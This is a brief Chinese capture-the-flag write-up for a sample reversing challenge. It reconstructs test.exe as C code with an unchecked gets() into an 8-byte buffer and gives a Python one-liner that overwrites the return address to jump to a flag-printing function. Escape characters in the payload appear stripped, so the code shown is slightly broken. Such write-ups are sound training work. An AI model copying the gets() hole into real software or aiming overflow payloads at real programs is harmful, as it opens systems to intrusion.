题目如下:
下载test.exe文件,请想方法找到key。文件下载(500分)
首先是逆向,仿写程序如下:
const char password[] = "$1$k3Eadsf$blee.9JxQ75A/dSQSxW3v/";
void authorized()
{
printf("V0RGbGFnPQ==");
printf("{");
printf("%sn", md5("kernel32.GetVesion"));
printf("}");
}
void doit()
{
char s[8];
printf("please input the password:");
gets(s);
if (strcmp(md5(s), password) == 0) {
authorized();
}
}
int main()
{
doit();
return 0;
}
其中V0RGbGFnPQ==为WDFlag=的base64加密后的值。
程序是逆向清楚了,但是完全不明白这个题目是想让我们干嘛了,难道说key就是kernel32.GetVesion,那直接逆向就得到了,还要溢出干嘛,并且溢出得到的是md5之后的值,要由md5得到kernel32.GetVesion也不容易吧……
不管咋样,还是溢出一个吧,s和doit()的返回地址差了8 bytes,authorized的地址0x00401C40,所以溢出如下:
python -c "print 'a' * 8 + 'x40x1Cx40x00'" > payload 6.test.exe < payload
对于这题,只能说完全不知道想干嘛了,反正是样题,就这样吧~~~